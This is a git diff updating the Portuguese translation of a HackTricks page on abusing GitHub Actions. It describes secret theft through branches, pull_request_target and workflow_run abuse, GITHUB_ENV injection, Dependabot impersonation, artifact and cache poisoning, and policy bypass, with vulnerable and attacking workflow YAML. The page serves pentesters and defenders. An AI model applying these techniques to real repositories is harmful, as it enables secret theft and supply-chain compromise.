mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-06-30 18:16:59 -07:00
Translated ['', 'src/pentesting-ci-cd/github-security/basic-github-infor
This commit is contained in:
@@ -1,58 +1,58 @@
|
||||
# Abusando de Github Actions
|
||||
# Abusing Github Actions
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Ferramentas
|
||||
## Tools
|
||||
|
||||
As seguintes ferramentas são úteis para encontrar Github Action workflows e até localizar ones vulneráveis:
|
||||
As seguintes ferramentas são úteis para encontrar workflows do Github Action e até identificar os vulneráveis:
|
||||
|
||||
- [https://github.com/CycodeLabs/raven](https://github.com/CycodeLabs/raven)
|
||||
- [https://github.com/praetorian-inc/gato](https://github.com/praetorian-inc/gato)
|
||||
- [https://github.com/AdnaneKhan/Gato-X](https://github.com/AdnaneKhan/Gato-X)
|
||||
- [https://github.com/carlospolop/PurplePanda](https://github.com/carlospolop/PurplePanda)
|
||||
- [https://github.com/zizmorcore/zizmor](https://github.com/zizmorcore/zizmor) - Confira também seu checklist em [https://docs.zizmor.sh/audits](https://docs.zizmor.sh/audits)
|
||||
- [https://github.com/zizmorcore/zizmor](https://github.com/zizmorcore/zizmor) - Ver também o checklist em [https://docs.zizmor.sh/audits](https://docs.zizmor.sh/audits)
|
||||
|
||||
## Informações Básicas
|
||||
## Basic Information
|
||||
|
||||
Nesta página você encontrará:
|
||||
|
||||
- Um **resumo de todos os impactos** caso um atacante consiga acesso a um Github Action
|
||||
- Um **resumo de todos os impactos** de um atacante que consiga acessar um Github Action
|
||||
- Diferentes maneiras de **obter acesso a uma action**:
|
||||
- Ter **permissões** para criar a action
|
||||
- Abusar gatilhos relacionados a **pull request**
|
||||
- Abusar outras técnicas de **external access**
|
||||
- **Pivoting** a partir de um repo já comprometido
|
||||
- Finalmente, uma seção sobre **post-exploitation** para abusar de uma action por dentro (causar os impactos mencionados)
|
||||
- Abusar **outras técnicas de acesso externo**
|
||||
- **Pivoting** a partir de um repositório já comprometido
|
||||
- Finalmente, uma seção sobre **post-exploitation techniques to abuse an action from inside** (causar os impactos mencionados)
|
||||
|
||||
## Resumo dos Impactos
|
||||
## Impacts Summary
|
||||
|
||||
Para uma introdução sobre [**Github Actions verifique as informações básicas**](../basic-github-information.md#github-actions).
|
||||
Para uma introdução sobre [**Github Actions check the basic information**](../basic-github-information.md#github-actions).
|
||||
|
||||
Se você pode **executar código arbitrário em GitHub Actions** dentro de um **repositório**, você pode ser capaz de:
|
||||
Se você puder **executar código arbitrário em GitHub Actions** dentro de um **repositório**, você pode ser capaz de:
|
||||
|
||||
- **Roubar secrets** montados no pipeline e **abusar dos privilégios do pipeline** para obter acesso não autorizado a plataformas externas, como AWS e GCP.
|
||||
- **Roubar segredos** montados no pipeline e **abusar dos privilégios do pipeline** para obter acesso não autorizado a plataformas externas, como AWS e GCP.
|
||||
- **Comprometer deployments** e outros **artifacts**.
|
||||
- Se o pipeline deploya ou armazena assets, você pode alterar o produto final, permitindo um supply chain attack.
|
||||
- **Executar código em custom workers** para abusar da capacidade de computação e pivotar para outros sistemas.
|
||||
- Se o pipeline faz deploy ou armazena assets, você poderia alterar o produto final, permitindo um supply chain attack.
|
||||
- **Executar código em custom workers** para abusar de poder computacional e pivotar para outros sistemas.
|
||||
- **Sobrescrever o código do repositório**, dependendo das permissões associadas ao `GITHUB_TOKEN`.
|
||||
|
||||
## GITHUB_TOKEN
|
||||
|
||||
This "**secret**" (coming from `${{ secrets.GITHUB_TOKEN }}` and `${{ github.token }}`) is given when the admin enables this option:
|
||||
Este **"segredo"** (proveniente de `${{ secrets.GITHUB_TOKEN }}` e `${{ github.token }}`) é fornecido quando o admin habilita esta opção:
|
||||
|
||||
<figure><img src="../../../images/image (86).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
This token is the same one a **Github Application will use**, so it can access the same endpoints: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps)
|
||||
Este token é o mesmo que uma **Github Application will use**, então ele pode acessar os mesmos endpoints: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps)
|
||||
|
||||
> [!WARNING]
|
||||
> Github should release a [**flow**](https://github.com/github/roadmap/issues/74) that **allows cross-repository** access within GitHub, so a repo can access other internal repos using the `GITHUB_TOKEN`.
|
||||
|
||||
You can see the possible **permissions** of this token in: [https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token](https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token)
|
||||
Você pode ver as possíveis **permissões** deste token em: [https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token](https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token)
|
||||
|
||||
Note that the token **expires after the job has completed**.\
|
||||
These tokens looks like this: `ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7`
|
||||
Note que o token **expira após a conclusão do job**.\
|
||||
Esses tokens se parecem com isto: `ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7`
|
||||
|
||||
Some interesting things you can do with this token:
|
||||
Algumas coisas interessantes que você pode fazer com este token:
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="Merge PR" }}
|
||||
@@ -91,7 +91,7 @@ https://api.github.com/repos/<org_name>/<repo_name>/pulls \
|
||||
{{#endtabs }}
|
||||
|
||||
> [!CAUTION]
|
||||
> Observe que, em várias ocasiões, você poderá encontrar **github user tokens inside Github Actions envs or in the secrets**. Esses tokens podem lhe conceder mais privilégios sobre o repositório e a organização.
|
||||
> Note que em várias ocasiões você poderá encontrar **github user tokens inside Github Actions envs or in the secrets**. Esses tokens podem dar a você mais privilégios sobre o repositório e a organização.
|
||||
|
||||
<details>
|
||||
|
||||
@@ -151,22 +151,22 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
|
||||
## Execução Permitida
|
||||
|
||||
> [!NOTE]
|
||||
> Esta seria a maneira mais fácil de comprometer Github actions, já que este caso supõe que você tem acesso para **create a new repo in the organization**, ou possui **write privileges over a repository**.
|
||||
> Esta seria a maneira mais fácil de comprometer Github actions, já que este caso supõe que você tenha acesso para **create a new repo in the organization**, ou que tenha **write privileges over a repository**.
|
||||
>
|
||||
> Se você estiver neste cenário, pode consultar [Post Exploitation techniques](#post-exploitation-techniques-from-inside-an-action).
|
||||
> Se você estiver neste cenário, pode simplesmente consultar as [Post Exploitation techniques](#post-exploitation-techniques-from-inside-an-action).
|
||||
|
||||
### Execução a partir da criação do repo
|
||||
|
||||
No caso de membros de uma organização poderem **create new repos** e você puder executar github actions, você pode **create a new repo and steal the secrets set at organization level**.
|
||||
Caso membros de uma organização possam **create new repos** e você possa executar Github actions, você pode **create a new repo and steal the secrets set at organization level**.
|
||||
|
||||
### Execução a partir de uma nova branch
|
||||
### Execução a partir de um novo branch
|
||||
|
||||
Se você puder **create a new branch in a repository that already contains a Github Action** configurada, você pode **modify** a action, **upload** o conteúdo e então **execute that action from the new branch**. Dessa forma você pode **exfiltrate repository and organization level secrets** (mas é preciso saber como eles são chamados).
|
||||
Se você conseguir **create a new branch in a repository that already contains a Github Action** configurada, você pode **modify** ela, **upload** o conteúdo e então **execute that action from the new branch**. Deste modo você pode **exfiltrate repository and organization level secrets** (mas você precisa saber como eles são chamados).
|
||||
|
||||
> [!WARNING]
|
||||
> Qualquer restrição implementada apenas dentro do workflow YAML (por exemplo, `on: push: branches: [main]`, job conditionals, ou manual gates) pode ser editada por colaboradores. Sem aplicação externa (branch protections, protected environments, e protected tags), um contribuidor pode redirecionar um workflow para rodar na sua branch e abusar dos mounted secrets/permissions.
|
||||
> Qualquer restrição implementada apenas dentro do workflow YAML (for example, `on: push: branches: [main]`, job conditionals, or manual gates) pode ser editada por colaboradores. Without external enforcement (branch protections, protected environments, and protected tags), a contributor can retarget a workflow to run on their branch and abuse mounted secrets/permissions.
|
||||
|
||||
Você pode tornar a action modificada executável **manualmente,** quando um **PR é criado** ou quando **algum código é pushed** (dependendo de quão ruidoso você quer ser):
|
||||
Você pode tornar a action modificada executável **manualmente,** quando um **PR é criado** ou quando **algum código é enviado** (dependendo de quão barulhento você quer ser):
|
||||
```yaml
|
||||
on:
|
||||
workflow_dispatch: # Launch manually
|
||||
@@ -180,49 +180,49 @@ branches:
|
||||
```
|
||||
---
|
||||
|
||||
## Execução a partir de fork
|
||||
## Execução via Fork
|
||||
|
||||
> [!NOTE]
|
||||
> Existem diferentes triggers que podem permitir que um atacante **execute um Github Action de outro repositório**. Se essas ações acionáveis estiverem mal configuradas, um atacante pode ser capaz de comprometer elas.
|
||||
> Existem diferentes gatilhos que podem permitir que um atacante **execute uma Github Action de outro repositório**. Se essas ações acionáveis estiverem mal configuradas, um atacante pode conseguir comprometê-las.
|
||||
|
||||
### `pull_request`
|
||||
|
||||
O workflow trigger **`pull_request`** vai executar o workflow toda vez que um pull request for recebido, com algumas exceções: por padrão, se for a **primeira vez** que você está **colaborando**, algum **mantenedor** precisará **aprovar** a **execução** do workflow:
|
||||
O gatilho do workflow **`pull_request`** executará o workflow toda vez que um pull request for recebido, com algumas exceções: por padrão, se for a **primeira vez** que você está **contribuindo**, algum **mantenedor** precisará **aprovar** a **execução** do workflow:
|
||||
|
||||
<figure><img src="../../../images/image (184).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
> [!NOTE]
|
||||
> Como a **limitação padrão** é para contribuintes **na primeira vez**, você poderia contribuir **corrigindo um bug/typo válido** e então enviar **outros PRs para abusar de seus novos `pull_request` privilégios**.
|
||||
> Como a **limitação padrão** é para contribuintes de **primeira vez**, você poderia contribuir **corrigindo um bug/typo válido** e depois enviar **outros PRs para abusar dos seus novos `pull_request` privilégios**.
|
||||
>
|
||||
> **Eu testei isso e não funciona**: ~~Outra opção seria criar uma conta com o nome de alguém que contribuiu para o projeto e deletar a conta dele.~~
|
||||
> **Eu testei isso e não funciona**: ~~Outra opção seria criar uma conta com o nome de alguém que contribuiu para o projeto e apagar a conta dessa pessoa.~~
|
||||
|
||||
Além disso, por padrão **impede permissões de escrita** e **acesso a secrets** ao repositório alvo como mencionado na [**docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories):
|
||||
Além disso, por padrão **impede permissões de escrita** e **acesso a secrets** ao repositório alvo, como mencionado nos [**docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories):
|
||||
|
||||
> With the exception of `GITHUB_TOKEN`, **secrets are not passed to the runner** when a workflow is triggered from a **forked** repository. The **`GITHUB_TOKEN` has read-only permissions** in pull requests **from forked repositories**.
|
||||
> Com exceção de `GITHUB_TOKEN`, **os secrets não são passados para o runner** quando um workflow é acionado a partir de um repositório **fork**. O **`GITHUB_TOKEN` tem permissões somente de leitura** em pull requests **de repositórios fork**.
|
||||
|
||||
Um atacante poderia modificar a definição do Github Action para executar coisas arbitrárias e anexar ações arbitrárias. Entretanto, ele não conseguirá roubar secrets ou sobrescrever o repositório por causa das limitações mencionadas.
|
||||
Um atacante poderia modificar a definição da Github Action para executar coisas arbitrárias e adicionar ações arbitrárias. Contudo, ele não conseguirá roubar secrets nem sobrescrever o repositório por causa das limitações mencionadas.
|
||||
|
||||
> [!CAUTION]
|
||||
> **Sim, se o atacante alterar no PR o Github Action que será disparado, o Github Action dele será o que será usado e não o do repositório de origem!**
|
||||
> **Sim, se o atacante alterar no PR a github action que será acionada, a sua Github Action será a utilizada e não a do repositório de origem!**
|
||||
|
||||
Como o atacante também controla o código que está sendo executado, mesmo que não existam secrets ou permissões de escrita no `GITHUB_TOKEN`, um atacante poderia por exemplo **fazer upload de artefatos maliciosos**.
|
||||
Como o atacante também controla o código sendo executado, mesmo que não existam secrets ou permissões de escrita no `GITHUB_TOKEN`, um atacante poderia, por exemplo, **fazer upload de artefatos maliciosos**.
|
||||
|
||||
### **`pull_request_target`**
|
||||
|
||||
O workflow trigger **`pull_request_target`** tem **permissão de escrita** no repositório alvo e **acesso a secrets** (e não pede permissão).
|
||||
O gatilho de workflow **`pull_request_target`** tem **permissão de escrita** no repositório alvo e **acesso a secrets** (e não pede permissão).
|
||||
|
||||
Observe que o workflow trigger **`pull_request_target`** **é executado no contexto base** e não no fornecido pelo PR (para **não executar código não confiável**). Para mais informações sobre `pull_request_target` [**consulte a documentação**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target).\
|
||||
Além disso, para mais informações sobre esse uso específico e perigoso, confira este [**post do blog do github**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/).
|
||||
Note que o gatilho de workflow **`pull_request_target`** **é executado no contexto base** e não no fornecido pelo PR (para **não executar código não confiável**). Para mais info sobre `pull_request_target` [**confira os docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target).\
|
||||
Além disso, para mais informações sobre esse uso específico perigoso, veja este [**post no blog do github**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/).
|
||||
|
||||
Pode parecer que, porque o **workflow executado** é o definido no **base** e **não no PR**, é **seguro** usar **`pull_request_target`**, mas há **alguns casos em que não é**.
|
||||
Pode parecer que, como o **workflow executado** é o definido na **base** e **não no PR**, é **seguro** usar **`pull_request_target`**, mas há **alguns casos em que não é**.
|
||||
|
||||
E este terá **acesso a secrets**.
|
||||
|
||||
### `workflow_run`
|
||||
|
||||
O [**workflow_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run) trigger permite executar um workflow a partir de outro quando ele está `completed`, `requested` ou `in_progress`.
|
||||
O [**workflow_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run) trigger permite executar um workflow a partir de outro quando este estiver `completed`, `requested` ou `in_progress`.
|
||||
|
||||
Neste exemplo, um workflow está configurado para executar após a conclusão do workflow separado "Run Tests":
|
||||
Neste exemplo, um workflow está configurado para rodar depois que o workflow separado "Run Tests" é concluído:
|
||||
```yaml
|
||||
on:
|
||||
workflow_run:
|
||||
@@ -230,29 +230,29 @@ workflows: [Run Tests]
|
||||
types:
|
||||
- completed
|
||||
```
|
||||
Além disso, de acordo com a documentação: O workflow iniciado pelo evento `workflow_run` é capaz de **acessar secrets e write tokens, mesmo que o workflow anterior não fosse**.
|
||||
Além disso, segundo a documentação: O workflow iniciado pelo evento `workflow_run` consegue **acessar secrets e write tokens, mesmo que o workflow anterior não**.
|
||||
|
||||
Esse tipo de workflow pode ser atacado se ele estiver **dependendo** de um **workflow** que pode ser **triggered** por um usuário externo via **`pull_request`** ou **`pull_request_target`**. Alguns exemplos vulneráveis podem ser [**found this blog**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**.** O primeiro consiste no workflow acionado por **`workflow_run`** baixando o código do atacante: `${{ github.event.pull_request.head.sha }}`\
|
||||
O segundo consiste em **passar** um **artifact** do código **untrusted** para o workflow **`workflow_run`** e usar o conteúdo desse artifact de uma forma que o torna **vulnerável a RCE**.
|
||||
Esse tipo de workflow pode ser atacado se ele estiver **dependendo** de um **workflow** que possa ser **disparado** por um usuário externo via **`pull_request`** ou **`pull_request_target`**. Alguns exemplos vulneráveis podem ser [**encontrados neste blog**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**.** O primeiro consiste no workflow acionado por **`workflow_run`** baixando o código do atacante: `${{ github.event.pull_request.head.sha }}`\
|
||||
O segundo consiste em **passar** um **artifact** do código **untrusted** para o workflow **`workflow_run`** e usar o conteúdo desse artifact de forma que o torne **vulnerável a RCE**.
|
||||
|
||||
### `workflow_call`
|
||||
|
||||
TODO
|
||||
|
||||
TODO: Check if when executed from a pull_request the used/downloaded code if the one from the origin or from the forked PR
|
||||
TODO: Verificar se, quando executado a partir de um pull_request, o código usado/baixado é o do origin ou do forked PR
|
||||
|
||||
## Abusando da Execução a partir de Forks
|
||||
|
||||
Mencionamos todas as maneiras pelas quais um atacante externo poderia conseguir fazer um workflow do GitHub executar; agora vamos ver como essas execuções, se mal configuradas, podem ser abusadas:
|
||||
Mencionamos todas as formas pelas quais um atacante externo poderia conseguir fazer um workflow do github ser executado; agora vamos ver como essas execuções, se mal configuradas, podem ser abusadas:
|
||||
|
||||
### Execução de checkout não confiável
|
||||
|
||||
No caso de **`pull_request`**, o workflow vai ser executado no **contexto do PR** (portanto ele irá executar o **código malicioso do PR**), mas alguém precisa **autorizar primeiro** e ele vai rodar com algumas [limitações](#pull_request).
|
||||
No caso de **`pull_request`**, o workflow será executado no **contexto do PR** (portanto executará o **código malicioso do PR**), mas alguém precisa **autorizá-lo primeiro** e ele será executado com algumas [limitações](#pull_request).
|
||||
|
||||
No caso de um workflow usando **`pull_request_target` or `workflow_run`** que dependa de um workflow que pode ser triggerado por **`pull_request_target` or `pull_request`**, o código do repositório original será executado, então o **atacante não pode controlar o código executado**.
|
||||
No caso de um workflow usando **`pull_request_target` or `workflow_run`** que dependa de um workflow que pode ser disparado a partir de **`pull_request_target` or `pull_request`**, o código do repositório original será executado, então o **atacante não pode controlar o código executado**.
|
||||
|
||||
> [!CAUTION]
|
||||
> No entanto, se a **action** tiver um **PR checkout explícito** que vai **obter o código do PR** (e não do base), ele irá usar o código controlado pelo atacante. Por exemplo (veja a linha 12 onde o código do PR é baixado):
|
||||
> No entanto, se a **action** tiver um **checkout de PR explícito** que irá **obter o código do PR** (e não do base), ela usará o código controlado pelo atacante. Por exemplo (veja a linha 12 onde o código do PR é baixado):
|
||||
|
||||
<pre class="language-yaml"><code class="lang-yaml"># INSECURE. Provided as an example only.
|
||||
on:
|
||||
@@ -282,10 +282,10 @@ message: |
|
||||
Thank you!
|
||||
</code></pre>
|
||||
|
||||
O código potencialmente **untrusted está sendo executado durante `npm install` ou `npm build`** já que os scripts de build e os **packages referenciados são controlados pelo autor do PR**.
|
||||
O código potencialmente **não confiável está sendo executado durante `npm install` ou `npm build`** já que os scripts de build e os **packages** referenciados são controlados pelo autor do PR.
|
||||
|
||||
> [!WARNING]
|
||||
> Um github dork para procurar por actions vulneráveis é: `event.pull_request pull_request_target extension:yml` no entanto, existem diferentes formas de configurar os jobs para serem executados de forma segura mesmo se a action estiver configurada de forma insegura (como usar condicionais sobre quem é o actor que gera o PR).
|
||||
> Um github dork para procurar actions vulneráveis é: `event.pull_request pull_request_target extension:yml` no entanto, existem diferentes maneiras de configurar os jobs para serem executados de forma segura mesmo que a action esteja configurada de forma insegura (como usar condicionais sobre quem é o actor que gerou o PR).
|
||||
|
||||
### Injeções de Script de Contexto <a href="#understanding-the-risk-of-script-injections" id="understanding-the-risk-of-script-injections"></a>
|
||||
|
||||
@@ -295,19 +295,19 @@ Note que existem certos [**github contexts**](https://docs.github.com/en/actions
|
||||
gh-actions-context-script-injections.md
|
||||
{{#endref}}
|
||||
|
||||
### **GITHUB_ENV** Injeção de Script <a href="#what-is-usdgithub_env" id="what-is-usdgithub_env"></a>
|
||||
### **Injeção de Script via GITHUB_ENV** <a href="#what-is-usdgithub_env" id="what-is-usdgithub_env"></a>
|
||||
|
||||
Segundo a documentação: Você pode tornar uma **variável de ambiente disponível para quaisquer passos subsequentes** em um job de workflow definindo ou atualizando a variável de ambiente e escrevendo isso no arquivo de ambiente **`GITHUB_ENV`**.
|
||||
|
||||
Se um atacante puder **injetar qualquer valor** dentro dessa variável de **env**, ele poderia injetar variáveis de ambiente que poderiam executar código em passos seguintes, como **LD_PRELOAD** ou **NODE_OPTIONS**.
|
||||
Se um atacante puder **injetar qualquer valor** dentro dessa variável de **env**, ele poderia injetar variáveis de ambiente que executem código em passos seguintes, como **LD_PRELOAD** ou **NODE_OPTIONS**.
|
||||
|
||||
Por exemplo ([**this**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) and [**this**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)), imagine um workflow que confia em um artifact enviado para armazenar seu conteúdo dentro da variável de env **`GITHUB_ENV`**. Um atacante poderia enviar algo como isto para comprometer:
|
||||
Por exemplo ([**this**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) and [**this**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)), imagine um workflow que confia em um artifact enviado para armazenar seu conteúdo dentro da variável de ambiente **`GITHUB_ENV`**. Um atacante poderia enviar algo como isto para comprometer:
|
||||
|
||||
<figure><img src="../../../images/image (261).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Dependabot and other trusted bots
|
||||
### Dependabot e outros bots confiáveis
|
||||
|
||||
Como indicado em [**this blog post**](https://boostsecurity.io/blog/weaponizing-dependabot-pwn-request-at-its-finest), várias organizações têm uma Github Action que mescla qualquer PR de `dependabot[bot]` como em:
|
||||
Como indicado em [**este post no blog**](https://boostsecurity.io/blog/weaponizing-dependabot-pwn-request-at-its-finest), várias organizações têm uma Github Action que mescla qualquer PR do `dependabot[bot]` como em:
|
||||
```yaml
|
||||
on: pull_request_target
|
||||
jobs:
|
||||
@@ -317,16 +317,16 @@ if: ${ { github.actor == 'dependabot[bot]' }}
|
||||
steps:
|
||||
- run: gh pr merge $ -d -m
|
||||
```
|
||||
O que é um problema porque o campo `github.actor` contém o usuário que causou o evento mais recente que acionou o workflow. E há várias maneiras de fazer com que o usuário `dependabot[bot]` modifique um PR. Por exemplo:
|
||||
O que é um problema porque o campo `github.actor` contém o usuário que causou o último evento que disparou o workflow. E existem várias maneiras de fazer com que o usuário `dependabot[bot]` modifique um PR. Por exemplo:
|
||||
|
||||
- Fazer fork do repositório da vítima
|
||||
- Adicionar o payload malicioso à sua cópia
|
||||
- Habilitar Dependabot no seu fork adicionando uma dependência desatualizada. Dependabot criará um branch corrigindo a dependência com código malicioso.
|
||||
- Abrir um Pull Request para o repositório da vítima a partir desse branch (o PR será criado pelo usuário, então nada acontecerá ainda)
|
||||
- Então, o atacante volta ao PR inicial que o Dependabot abriu no seu fork e executa `@dependabot recreate`
|
||||
- Então, o Dependabot realiza algumas ações nesse branch, que modificam o PR no repositório da vítima, o que faz com que `dependabot[bot]` seja o ator do evento mais recente que acionou o workflow (e, portanto, o workflow é executado).
|
||||
- Fork the victim repository
|
||||
- Add the malicious payload to your copy
|
||||
- Enable Dependabot on your fork adding an outdated dependency. Dependabot will create a branch fixing the dependency with malicious code.
|
||||
- Open a Pull Request to the victim repository from that branch (the PR will be created by the user so nothing will happen yet)
|
||||
- Then, attacker goes back to the initial PR Dependabot opened in his fork and runs `@dependabot recreate`
|
||||
- Then, Dependabot perform some actions in that branch, that modified the PR over the victim repo, which makes `dependabot[bot]` the actor of the latest event that triggered the workflow (and therefore, the workflow runs).
|
||||
|
||||
Indo em frente, e se em vez de mesclar a Github Action tivesse uma command injection como em:
|
||||
Seguindo, e se em vez de merging o Github Action tivesse uma command injection like in:
|
||||
```yaml
|
||||
on: pull_request_target
|
||||
jobs:
|
||||
@@ -336,24 +336,24 @@ if: ${ { github.actor == 'dependabot[bot]' }}
|
||||
steps:
|
||||
- run: echo ${ { github.event.pull_request.head.ref }}
|
||||
```
|
||||
Bem, o blogpost original propõe duas opções para abusar desse comportamento, sendo a segunda:
|
||||
Bem, o post original propõe duas opções para abusar desse comportamento, sendo a segunda:
|
||||
|
||||
- Fork o repositório da vítima e habilite o Dependabot com alguma dependência desatualizada.
|
||||
- Crie uma nova branch com o código de shell injection malicioso.
|
||||
- Altere o branch padrão do repo para essa.
|
||||
- Crie um PR dessa branch para o repositório da vítima.
|
||||
- Faça fork do repositório da vítima e ative o Dependabot com alguma dependência desatualizada.
|
||||
- Crie uma nova branch com o código malicioso de shell injection.
|
||||
- Altere a branch padrão do repositório para essa.
|
||||
- Crie um PR a partir dessa branch para o repositório da vítima.
|
||||
- Execute `@dependabot merge` no PR que o Dependabot abriu no fork dele.
|
||||
- O Dependabot irá mesclar suas mudanças no branch padrão do seu fork, atualizando o PR no repositório da vítima, fazendo agora com que o `dependabot[bot]` seja o ator do último evento que acionou o workflow e usando um nome de branch malicioso.
|
||||
- O Dependabot vai mergear as mudanças na branch padrão do seu repositório forkado, atualizando o PR no repositório da vítima, tornando agora o `dependabot[bot]` o ator do último evento que disparou o workflow e usando um nome de branch malicioso.
|
||||
|
||||
### Vulnerable Third Party Github Actions
|
||||
### Github Actions de terceiros vulneráveis
|
||||
|
||||
#### [dawidd6/action-download-artifact](https://github.com/dawidd6/action-download-artifact)
|
||||
|
||||
As mencionado em [**this blog post**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks), esta Github Action permite acessar artifacts de diferentes workflows e até repositories.
|
||||
Como mencionado em [**this blog post**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks), este Github Action permite acessar artifacts de diferentes workflows e até repositórios.
|
||||
|
||||
O problema é que, se o parâmetro **`path`** não for definido, o artifact é extraído no diretório atual e pode sobrescrever arquivos que depois podem ser usados ou até executados no workflow. Portanto, se o Artifact for vulnerável, um atacante pode abusar disso para comprometer outros workflows que confiam no Artifact.
|
||||
O problema é que se o parâmetro **`path`** não for definido, o artifact é extraído no diretório atual e pode sobrescrever arquivos que podem ser usados posteriormente ou até executados no workflow. Portanto, se o Artifact for vulnerável, um atacante poderia abusar disso para comprometer outros workflows que confiam no Artifact.
|
||||
|
||||
Exemplo de workflow vulnerável:
|
||||
Example of vulnerable workflow:
|
||||
```yaml
|
||||
on:
|
||||
workflow_run:
|
||||
@@ -376,7 +376,7 @@ with:
|
||||
name: artifact
|
||||
path: ./script.py
|
||||
```
|
||||
Isto pode ser atacado com este workflow:
|
||||
Isto poderia ser atacado com este workflow:
|
||||
```yaml
|
||||
name: "some workflow"
|
||||
on: pull_request
|
||||
@@ -397,23 +397,23 @@ path: ./script.py
|
||||
|
||||
### Deleted Namespace Repo Hijacking
|
||||
|
||||
Se uma conta alterar seu nome, outro usuário pode registrar uma conta com esse nome depois de algum tempo. Se um repository teve **less than 100 stars previously to the change of name**, Github permitirá que o novo usuário registrado com o mesmo nome crie um **repository with the same name** que o excluído.
|
||||
Se uma conta mudar seu nome, outro usuário pode registrar uma conta com esse nome após algum tempo. Se um repository teve **menos de 100 stars antes da mudança de nome**, o Github permitirá que o novo usuário registrado com o mesmo nome crie um **repository com o mesmo nome** do que foi deletado.
|
||||
|
||||
> [!CAUTION]
|
||||
> Portanto, se uma action estiver usando um repo de uma conta inexistente, ainda é possível que um atacante crie essa conta e comprometa a action.
|
||||
> Então, se uma action está usando um repo de uma conta inexistente, ainda é possível que um atacante crie essa conta e comprometa a action.
|
||||
|
||||
Se outros repositories estavam usando **dependencies from this user repos**, um atacante poderá sequestrá-los. Aqui você tem uma explicação mais completa: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/)
|
||||
Se outros repos estavam usando **dependencies** dos repos deste usuário, um atacante poderá hijacká‑los. Aqui você tem uma explicação mais completa: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/)
|
||||
|
||||
---
|
||||
|
||||
## Repo Pivoting
|
||||
|
||||
> [!NOTE]
|
||||
> Nesta seção vamos falar sobre técnicas que permitirão **pivot from one repo to another**, supondo que tenhamos algum tipo de acesso no primeiro (veja a seção anterior).
|
||||
> Nesta seção vamos falar sobre técnicas que permitem **pivot from one repo to another**, supondo que temos algum tipo de acesso no primeiro (veja a seção anterior).
|
||||
|
||||
### Cache Poisoning
|
||||
|
||||
Um cache é mantido entre **workflow runs in the same branch**. Isso significa que, se um atacante conseguir **compromise** um **package** que então é armazenado no cache e **downloaded** e executado por um **more privileged** workflow, ele também será capaz de **compromise** esse workflow.
|
||||
Uma cache é mantida entre **workflow runs in the same branch**. Isso significa que se um atacante comprometer um **package** que é então armazenado na cache e **downloaded** e executado por um **workflow mais privilegiado**, ele também poderá comprometer esse workflow.
|
||||
|
||||
{{#ref}}
|
||||
gh-actions-cache-poisoning.md
|
||||
@@ -421,7 +421,7 @@ gh-actions-cache-poisoning.md
|
||||
|
||||
### Artifact Poisoning
|
||||
|
||||
Workflows podem usar **artifacts from other workflows and even repos**; se um atacante conseguir **compromise** o Github Action que **uploads an artifact** que é posteriormente usado por outro workflow, ele poderia **compromise the other workflows**:
|
||||
Workflows podem usar **artifacts from other workflows and even repos**; se um atacante conseguir comprometer a Github Action que **uploads an artifact** que depois é usada por outro workflow, ele poderia comprometer os outros workflows:
|
||||
|
||||
{{#ref}}
|
||||
gh-actions-artifact-poisoning.md
|
||||
@@ -433,9 +433,9 @@ gh-actions-artifact-poisoning.md
|
||||
|
||||
### Github Action Policies Bypass
|
||||
|
||||
Como comentado em [**this blog post**](https://blog.yossarian.net/2025/06/11/github-actions-policies-dumb-bypass), mesmo que um repository ou organização tenha uma policy restringindo o uso de certas actions, um atacante poderia simplesmente fazer download (`git clone`) da action dentro do workflow e então referenciá-la como uma local action. Como as policies não afetam local paths, **a action será executada sem qualquer restrição.**
|
||||
Como comentado em [**this blog post**](https://blog.yossarian.net/2025/06/11/github-actions-policies-dumb-bypass), mesmo se um repository ou organization tiver uma policy que restrinja o uso de certas actions, um atacante poderia apenas fazer download (`git clone`) da action dentro do workflow e então referenciá‑la como uma local action. Como as policies não afetam local paths, **a action será executada sem nenhuma restrição.**
|
||||
|
||||
Exemplo:
|
||||
Example:
|
||||
```yaml
|
||||
on: [push, pull_request]
|
||||
|
||||
@@ -458,7 +458,7 @@ path: gha-hazmat
|
